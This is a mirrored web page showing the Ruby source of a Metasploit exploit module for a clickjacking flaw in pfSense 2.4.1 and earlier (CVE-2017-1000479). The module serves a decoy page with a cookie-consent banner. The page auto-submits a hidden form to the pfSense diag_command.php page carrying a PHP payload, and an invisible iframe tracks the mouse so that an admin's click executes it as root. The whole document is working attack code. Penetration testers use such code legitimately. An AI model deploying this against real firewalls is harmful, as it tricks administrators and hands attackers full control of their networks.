Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_clickjacking.rb
19611 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
16
'Description' => %q{
17
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
18
19
pfSense is a free and open source firewall and router. It was found that the
20
pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
21
into interacting with a specially crafted webpage it is possible for an attacker
22
to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
23
this will result in a full compromise of the pfSense instance.
24
},
25
'Author' => 'Yorick Koster',
26
'Payload' => { 'BadChars' => '"' },
27
'License' => MSF_LICENSE,
28
'References' => [
29
['CVE', '2017-1000479'],
30
['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
31
['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
32
],
33
'DefaultOptions' => {
34
'EXITFUNC' => 'process'
35
},
36
'Arch' => ARCH_PHP,
37
'Platform' => 'php',
38
'Targets' => [
39
[ 'pfSense <= 2.4.1', { 'auto' => false } ]
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2017-11-21',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
54
]
55
)
56
end
57
58
def js_file
59
@js ||= lambda {
60
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
61
return File.read(path)
62
}.call
63
end
64
65
def css_file
66
@css ||= lambda {
67
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
68
return File.read(path)
69
}.call
70
end
71
72
def background_file
73
@background ||= lambda {
74
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
75
return File.read(path)
76
}.call
77
end
78
79
def on_request_uri(cli, request)
80
print_status("GET #{request.uri} #{request.headers['User-Agent']}")
81
82
resp = create_response(200, "OK")
83
if request.uri =~ /\.js$/
84
resp.body = js_file
85
resp['Content-Type'] = 'text/javascript'
86
87
elsif request.uri =~ /\.css$/
88
resp.body = css_file
89
resp['Content-Type'] = 'text/css'
90
91
elsif request.uri =~ /\.jpg$/
92
resp.body = background_file
93
resp['Content-Type'] = 'image/jpg'
94
95
else
96
if datastore['TARGETURI'].end_with? '/'
97
url = datastore['TARGETURI'] + 'diag_command.php'
98
else
99
url = datastore['TARGETURI'] + '/diag_command.php'
100
end
101
framename = rand_text_alpha(16)
102
divname = rand_text_alpha(16)
103
resp.body = %Q|<!DOCTYPE html>
104
<html>
105
<meta charset="utf-8">
106
<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />
107
<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>
108
<script>
109
window.addEventListener("load", function(){
110
window.cookieconsent.initialise({
111
"palette": {
112
"popup": {
113
"background": "#000",
114
"text": "#0f0"
115
},
116
"button": {
117
"background": "#0f0"
118
}
119
},
120
"position": "top",
121
"static": true
122
});
123
});
124
</script>
125
<script>
126
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
127
window.addEventListener('load', function(){
128
document.forms[0].post.click();
129
document.onmousemove = function(e) {
130
var e = e \|\| window.event;
131
var s = document.getElementById('#{divname}');
132
s.style.left = (e.clientX - 10) + 'px';
133
s.style.top = (e.clientY - 5) + 'px';
134
};
135
});
136
</script>
137
<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">
138
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
139
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
140
</div>
141
<div style="display:none">
142
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
143
<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
144
<input type="hidden" name="submit" value="EXECPHP" />
145
<input type="submit" name="post"/>
146
</form>
147
</div>
148
</body>
149
</html>
150
|
151
resp['Content-Type'] = 'text/html'
152
end
153
154
cli.send_response(resp)
155
end
156
end
157
158